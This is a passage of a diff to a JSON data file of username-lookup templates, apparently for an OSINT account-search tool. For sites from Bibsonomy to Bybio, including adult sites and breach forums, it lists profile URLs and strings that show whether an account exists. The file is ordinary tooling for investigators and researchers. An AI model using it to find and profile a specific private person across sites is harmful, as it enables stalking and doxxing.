\u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Bibsonomy", + "url": "https://www.bibsonomy.org/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "big-game.ucoz.ru", + "url": "http://big-game.ucoz.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bigfooty", + "url": "https://www.bigfooty.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "bigfooty.com", + "url": "https://www.bigfooty.com/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Biggerpockets", + "url": "https://www.biggerpockets.com/users/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "| BiggerPockets" + }, + { + "name": "Biggerpockets", + "url": "https://biggerpockets.com/users/{}", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "header-info" + }, + { + "name": "Bigmmc", + "url": "http://bigmmc.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BIGO Live", + "url": "https://www.bigo.tv/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "userInfo:{}", + "match_code": 200, + "match_string": "userInfo:{nickName" + }, + { + "name": "Bigsoccer", + "url": "https://www.bigsoccer.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bigsoccer", + "url": "https://www.bigsoccer.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bikemap", + "url": "https://www.bikemap.net/en/u/{}/routes/created/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bikepost", + "url": "https://bikepost.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BikeRadar", + "url": "https://forum.bikeradar.com/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Biketrials", + "url": "http://www.biketrials.ru/live/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Billkiene", + "url": "https://www.billkiene.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Billkiene", + "url": "https://www.billkiene.com/forums/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Bimpos", + "url": "https://ask.bimpos.com/user/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "User " + }, + { + "name": "BinarySearch", + "url": "https://binarysearch.com/@/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "{}" + }, + { + "name": "Binarysearch", + "url": "https://binarysearch.io/@/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Profile not found" + }, + { + "name": "binhot.3dn.ru", + "url": "http://binhot.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bio Sites", + "url": "https://bio.site/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This site no longer exists", + "match_code": 200, + "match_string": "section\":{\"handles" + }, + { + "name": "biohack", + "url": "https://forum.biohack.me/index.php?p=/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "biolink", + "url": "https://bio.link/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you\u2019re looking for doesn\u2019t exist", + "match_code": 200, + "match_string": "profile:username" + }, + { + "name": "Biosector01", + "url": "https://biosector01.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "birza-truda", + "url": "http://birza-truda.ru/akter/nachinayushchiy-akter/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439!" + }, + { + "name": "Bit", + "url": "https://bit.dev/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "FOLLOWERS" + }, + { + "name": "Bit.ly", + "url": "https://bit.ly/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BitBucket", + "url": "https://bitbucket.org/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitbucket", + "url": "https://bitbucket.org/!api/2.0/repositories/{}?page=1&pagelen=25&sort=-updated_on&q=&fields=-values.owner%2C-values.workspace", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "No workspace with identifier", + "match_code": 200, + "match_string": "full_name" + }, + { + "name": "BitBucket", + "url": "https://bitbucket.org/{}/workspace/repositories/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitbucket", + "url": "https://bitbucket.org/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "That link has no power here", + "match_string": "\"uuid\"" + }, + { + "name": "Bitchute", + "url": "https://www.bitchute.com/channel/{}", + "category": "video", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitchute", + "url": "https://www.bitchute.com/channel/{}/", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 - Page not found", + "match_code": 200, + "match_string": "subscribers" + }, + { + "name": "bitcoin.it", + "url": "https://bitcoin.it/wiki/User:{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BitCoinForum", + "url": "https://bitcoinforum.com/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user whose profile you are trying to view does not exist." + }, + { + "name": "Bitpapa", + "url": "https://bitpapa.com/user/{}", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "><title>" + }, + { + "name": "bitpapa.com", + "url": "https://bitpapa.com/ru/user/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/static/page-crash.svg", + "match_string": "lbcUsername" + }, + { + "name": "bittube", + "url": "https://bittube.video/c/{}/videos", + "category": "video", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    We are sorry but it seems", + "match_code": 200, + "match_string": "- BitTube" + }, + { + "name": "Bitwarden", + "url": "https://community.bitwarden.com/u/{}/summary", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops!", + "match_string": " Profile" + }, + { + "name": "BlackHatProTools", + "url": "https://www.blackhatprotools.info/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blast", + "url": "https://www.blast.hk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blast", + "url": "https://www.blast.hk/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Blazemonger", + "url": "https://blazemonger.com/GG/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "BleachFandom", + "url": "https://bleach.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blender", + "url": "https://blender.community/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blender3d", + "url": "https://blender3d.com.ua/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blenderartists", + "url": "https://blenderartists.org/u/{}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BLIP.fm", + "url": "https://blip.fm/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bliphoto", + "url": "https://www.blipfoto.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Your photo journal | Blipfoto", + "match_string": "biography" + }, + { + "name": "Blitz Tactics", + "url": "https://blitztactics.com/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "That page doesn't exist" + }, + { + "name": "Blizzard_WOW", + "url": "https://us.forums.blizzard.com/en/wow/u/{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "World of Warcraft Forums" + }, + { + "name": "Blogger", + "url": "https://{}.blogspot.com", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blogger (by GAIA id)", + "url": "https://www.blogger.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/edit-profile.g", + "match_string": ">" + }, + { + "name": "Blue-systems", + "url": "https://support.blue-systems.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bluesky", + "url": "https://bsky.app/profile/{}.bsky.social", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops!", + "match_string": ".bsky.social on Bluesky" + }, + { + "name": "Bluesky 1", + "url": "https://bsky.app/profile/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "

    ", + "match_code": 200, + "match_string": "on Bluesky" + }, + { + "name": "Bluesky 2", + "url": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={}.bsky.social", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "\"message\":\"Profile not found\"", + "match_code": 200, + "match_string": "\"handle\":\"" + }, + { + "name": "bluesystem", + "url": "http://forum.bluesystem.online/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "images/avatars/default_avatars/22.gif" + }, + { + "name": "Bluevies", + "url": "https://bluevies.miraheze.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "BMW_club", + "url": "http://m-power.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Board_asm32", + "url": "https://board.asm32.info/!userinfo/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Board_scryde", + "url": "https://board.scryde.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "BoardGameGeek", + "url": "https://boardgamegeek.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\t\tUser not found", + "match_string": "username" + }, + { + "name": "BoardGameGeek", + "url": "https://api.geekdo.com/api/accounts/validate/username?username={}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"isValid\":true", + "match_code": 200, + "match_string": "\"message\":\"Sorry, this username is already taken.\"" + }, + { + "name": "Boardgamegeek", + "url": "https://www.boardgamegeek.com/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "[]" + }, + { + "name": "boards.theforce.net", + "url": "https://boards.theforce.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Boards_theforce", + "url": "https://boards.theforce.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bobrdobr", + "url": "https://bobrdobr.ru/people/{}/", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430.", + "match_string": "\u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "Bobvoyeur", + "url": "https://www.bobvoyeur.com/profil/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"profile\"/>", + "match_string": "Informa\u00e7\u00e3o e p\u00e1gina" + }, + { + "name": "BongaCams", + "url": "https://pt.bongacams.com/profile/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "status_code" + }, + { + "name": "Bongacams", + "url": "https://bongacams.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "last_login" + }, + { + "name": "Boobpedia", + "url": "https://www.boobpedia.com/wiki/index.php?title=Special:Search&profile=all&search={}&fulltext=1", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "There were no results matching the query.", + "match_string": "Page title matches" + }, + { + "name": "Book-torrent-site", + "url": "https://book-torrent.site/user/{}/", + "category": "torrent", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bookafly.com", + "url": "https://bookafly.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookandreader", + "url": "https://www.bookandreader.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookandreader", + "url": "https://www.bookandreader.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bookcrossing", + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookcrossing", + "url": "https://www.bookcrossing.com/mybookshelf/{}", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, we were unable to locate the content that you requested.", + "match_code": 200, + "match_string": "Recent Book Activity" + }, + { + "name": "Bookcrossing", + "url": "https://bookcrossing.com/mybookshelf/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, we were unable", + "match_string": "-profile" + }, + { + "name": "Bookmate", + "url": "https://ru.bookmate.com/authors/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry! We couldn\u2019t find what you were looking for" + }, + { + "name": "Bookmix", + "url": "https://bookmix.ru/users/index.phtml?ginv=&keyword={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430" + }, + { + "name": "Booknode", + "url": "https://booknode.com/profil/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page non trouv\u00e9e", + "match_code": 200, + "match_string": "<title>Profil de" + }, + { + "name": "bookz.su", + "url": "http://bookz.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BoomInfo", + "url": "https://boominfo.ru/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + }, + { + "name": "Boominfo", + "url": "https://boominfo.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "boominfo.org", + "url": "https://boominfo.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Boosty", + "url": "https://boosty.to/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>", + "match_string": "Boosty " + }, + { + "name": "Boosty", + "url": "https://api.boosty.to/v1/blog/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"blog_not_found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "BOOTH", + "url": "https://{}.booth.pm/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Borisoglebsk", + "url": "http://www.borisoglebsk.net/modules.php?name=Forums&file=profile&mode=viewprofile&u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Borsch.gallery", + "url": "https://borsch.gallery/hudozhniki/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bot-cs.at.ua", + "url": "http://bot-cs.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Botanichka", + "url": "https://www.botanichka.ru/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bowhuntery", + "url": "https://bowhuntery.ru/userlist.php?username={}&show_group=-1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Boxing", + "url": "http://boxing.ru/forum/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "brainscale.net", + "url": "https://brainscale.net/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bratsk Forum", + "url": "http://forum.bratsk.org/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "BraveCommunity", + "url": "https://community.brave.com/u/{}/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Breach Forums", + "url": "https://breached.vc/User-{}", + "category": "tech", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The member you specified is either invalid or doesn't exist.", + "match_code": 200, + "match_string": "Time Spent Online" + }, + { + "name": "BreachSta.rs Forum", + "url": "https://breachsta.rs/profile/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Error - BreachStars" + }, + { + "name": "breakers.tv", + "url": "https://breakers.tv/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Channel you are looking for doesn't exist", + "match_string": " followers" + }, + { + "name": "Brickset", + "url": "https://brickset.com/profile/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "{name}", + "match_code": 200, + "match_string": "Member since:" + }, + { + "name": "Brickset", + "url": "https://forum.brickset.com/profile/{}", + "category": "forum", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "User Not Found", + "match_code": 200, + "match_string": "Activity" + }, + { + "name": "Bridgemoscow", + "url": "https://bridgemoscow.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Bridgewinners", + "url": "https://bridgewinners.com/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error!" + }, + { + "name": "Britishcat", + "url": "http://www.britishcat.ru/forumnew/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Browncafe", + "url": "https://www.browncafe.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "browncafe.com", + "url": "http://www.browncafe.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Brusheezy", + "url": "https://www.brusheezy.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "masthead", + "match_string": "username" + }, + { + "name": "Brute", + "url": "https://brute.su/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "brute.pw", + "url": "https://brute.pw/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "budo52.ru", + "url": "http://budo52.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Budo_community", + "url": "https://budo.community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=posts&search_app_filters[forums][sortDir]=0", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "Bugaga", + "url": "https://bugaga.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bugbank", + "url": "https://www.bugbank.cn/api/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "bugbounty", + "url": "https://bugbounty.gg/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bugcrowd", + "url": "https://bugcrowd.com/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">Bugcrowd | Error", + "match_string": "s researcher profile on Bugcrowd" + }, + { + "name": "BugCrowd", + "url": "https://bugcrowd.com/{}/profile_widgets", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class='cc-error-page__msg'", + "match_code": 200, + "match_string": "\"widgets\":" + }, + { + "name": "bugku", + "url": "https://www.bugku.com/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Build_opensuse", + "url": "https://build.opensuse.org/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bukkit", + "url": "https://bukkit.org//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bukkit", + "url": "https://bukkit.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Bulbanews", + "url": "https://bulbanews.bulbagarden.net/wiki/User:{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "bulbapedia.bulbagarden.net", + "url": "https://bulbapedia.bulbagarden.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bulbapp.com", + "url": "https://bulbapp.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bull-baza.at.ua", + "url": "http://bull-baza.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bunpro", + "url": "https://community.bunpro.jp/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The requested URL or resource could not be found.", + "match_code": 200, + "match_string": "username" + }, + { + "name": "buyforex.ucoz.ru", + "url": "http://buyforex.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BuyMeACoffee", + "url": "https://buymeacoff.ee/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Buymeacoffee", + "url": "https://www.buymeacoffee.com/{}", + "category": "finance", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Buymeacoffee", + "url": "https://buymeacoffee.com/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "seem to find the page", + "match_string": "creator-csrf" + }, + { + "name": "BuzzFeed", + "url": "https://buzzfeed.com/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BuzzFeed", + "url": "https://www.buzzfeed.com/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "We can't find the page you're looking for", + "match_code": 200, + "match_string": " on BuzzFeedAuthor: - Buzznet" + }, + { + "name": "Buzznet", + "url": "https://www.buzznet.com/author/{}/", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you are looking for can't be found.", + "match_code": 200, + "match_string": "Author:" + }, + { + "name": "Bybio", + "url": "https://bybio.co/{}", + "category": "social", + "source": 